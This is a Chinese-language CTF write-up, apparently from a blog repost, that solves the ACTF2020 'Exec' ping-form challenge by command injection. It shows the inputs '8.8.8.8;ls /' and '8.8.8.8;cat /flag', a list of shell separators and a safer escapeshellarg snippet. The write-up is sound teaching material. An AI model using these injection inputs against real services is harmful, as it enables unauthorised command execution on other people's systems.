当前位置: 首页 > news >正文

[ACTF2020 新生赛]Exec 思路及解法

大家好,你们可以叫我凌,是个16岁的网络安全学习者。

今天我们刷下 [ACTF2020 新生赛]Exec 这道题,依旧分享我的解题思路和解法。


解题思路

先启动靶场。

访问靶场主界面。

发现有个可以输入IP的窗口,我们不着急测试,先查看前端代码看看有没有什么其他线索。

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>command execution</title> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" /> </head> <body> <h1>PING</h1> <form class="form-inline" method="post"> <div class="input-group"> <input style="width:280px;" id="target" type="text" class="form-control" placeholder="请输入需要ping的地址" aria-describedby="basic-addon1" name="target"> </div> <br/> <br/> <button style="width:280px;" class="btn btn-default">PING</button> </form> <br /><pre> </pre></body> </html>

观察代码,发现前端以 POST 方式通过 input 标签传输了个 target 的文本类型的参数到后端处理。

既然是执行系统的命令,那可能该参数是直接拼接到系统命令当中。

我们先输入个IP地址看看返回的是什么内容。

8.8.8.8 是Google LLC 提供的免费 DNS 服务器 IP 地址,感兴趣或不太了解的朋友可以自行搜索了解。此外,也可以使用 114.114.114.114 这个 IP 地址,它相比 8.8.8.8 在国内更加稳定。

很好,可以确定的是后端可能是直接拼接到系统命令当中的,可能存在RCE漏洞。

那在这里我进行补充,如果后端代码使用安全的函数则可以在一定程度上提高安全性,但最好还是使用白名单进行校验

$target = escapeshellarg($_POST['target']); system("ping -c 4 " . $target);

我们继续深入,不清楚后端是什么系统,那我们先使用 “ls” 探探虚实(Windows是使用dir命令)

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=201.661 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.211 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.756 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 194.756/198.209/201.661 ms index.php

很好,目录列表出来了,不过并没有我们需要的flag。

我们使用 “../” 继续深入

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=199.019 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=198.391 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=194.943 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 194.943/197.451/199.019 ms html localhost

依旧没有,在这里我们可以继续添加 “../” 来进行深入,或者说直接拼接 “/” 查看根目录。

这个依个人习惯而定,在这里我就按照本人习惯直接查看根目录了。

8.8.8.8;ls /

发现可能藏有 flag 的文件!接下来我们直接使用 cat 尝试读取

8.8.8.8;cat /flag

这样子,flag就成功爆出来了!

PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq=0 ttl=42 time=202.624 ms 64 bytes from 8.8.8.8: seq=1 ttl=42 time=197.311 ms 64 bytes from 8.8.8.8: seq=2 ttl=42 time=198.840 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 197.311/199.591/202.624 ms CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}

靶场小结

考点标签

命令注入、输入验证、管道符与分号

核心教训

1. 功能点即攻击面:页面上的“Ping”功能,背后大概率调用了系统命令。看到这类功能,第一反应就应该是测试命令拼接符。
2. 命令注入的肌肉记忆:“;” “|” “&” “&&” “||” “%0a” 这些拼接符应牢牢记住。本题无任何过滤,分号 “;” 直接生效。
3. 无过滤时的最简 Payload:“8.8.8.8; cat /flag” ——前面的合法输入用来让原命令正常执行(或者至少不报错),分号切断后直接执行读取命令。这是命令注入最经典、最优雅的利用形式。

解题关键步骤

1. 打开靶场,看到输入框和 ping 功能。
2. 输入 8.8.8.8 测试正常功能,确认页面返回 ping 结果。
3. 输入 8.8.8.8; ls 测试拼接,页面回显目录列表,确认命令注入漏洞存在。
4. 输入 8.8.8.8; cat /flag 读取根目录下的 Flag 文件。
5. 拿到 Flag:CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}。

http://www.jsqmd.com/news/1132935/

相关文章:

  • Spring JDBC Ultra:凭什么敢说自己是 MyBatis 终结者?
  • 抖音无水印视频下载终极指南:5分钟快速上手免费工具
  • 如何快速成为斗地主高手?DouZero AI助手让你的胜率轻松翻倍!
  • d3d8to9终极指南:让经典Direct3D 8游戏在现代Windows上完美运行
  • 《HarmonyOS技术精讲-Media Library Kit》之最佳实践与常见问题
  • 如何在算力云上部署Qwen/Qwen3-8B
  • C语言编译与反编译实战教程:从源代码到可执行文件及逆向分析(基于Linux的系统可用,win版请看主页)
  • 3步解放游戏存档:SPT-AKI编辑器的终极自定义方案
  • 如何在43秒内完成星露谷物语资源解压:StardewXnbHack终极指南
  • 黑苹果EFI配置终极指南:3000+机型兼容性与完整解决方案
  • Kimi K2.5智能体集群与视觉智能体技术解析
  • ComfyUI IPAdapter Plus终极指南:深度解析图像风格迁移与多模态控制技术
  • IPXWrapper终极指南:3步配置Windows经典游戏联机解决方案
  • 嵌入式6DoF运动跟踪:IIM-42652与PIC18F87J50实战
  • 弹窗广告烦到崩溃?仅196KB,搞定电脑所有流氓弹窗!弹窗拦截小工具!
  • 终极Lua反编译指南:如何用unluac完整恢复加密字节码为可读源码
  • Navicat重置试用期终极指南:3种方法告别14天限制
  • 5分钟掌握B站视频下载器:免费获取大会员4K与充电专属内容完整指南
  • 逆向阿里V2滑块验证码:从环境检测到轨迹加密的完整实战
  • 告别风扇噪音!Fan Control让你的Windows电脑静音又凉爽的完整指南
  • 060、超分数据集构建:从 DIV2K 到 REDS 的数据预处理与增强方法
  • 鸿蒙 ArkTS 实战:打造丝滑的共享元素转场动画
  • Visual C++ 运行库AI智能修复方案:企业级部署架构设计与性能优化指南
  • SELinux 深度解析:从核心原理到运维实战的完整指南
  • 构建企业级微信自动化系统的技术架构与实践
  • TikTok评论数据采集:3步获取完整用户反馈,无需编程经验
  • 3步搞定B站4K大会员视频下载:开源工具完全指南
  • Chatbox桌面AI助手实战指南:构建个人智能工作站的最佳实践
  • “HyFormer: Revisiting the Roles of Sequence Modeling and Feature Interaction in CTR Prediction“ 论文笔记
  • Win11上面安装多个Keil版本,但是需要指定默认的版本,如果Win11自己的指定方式不成功,可以用下面的方法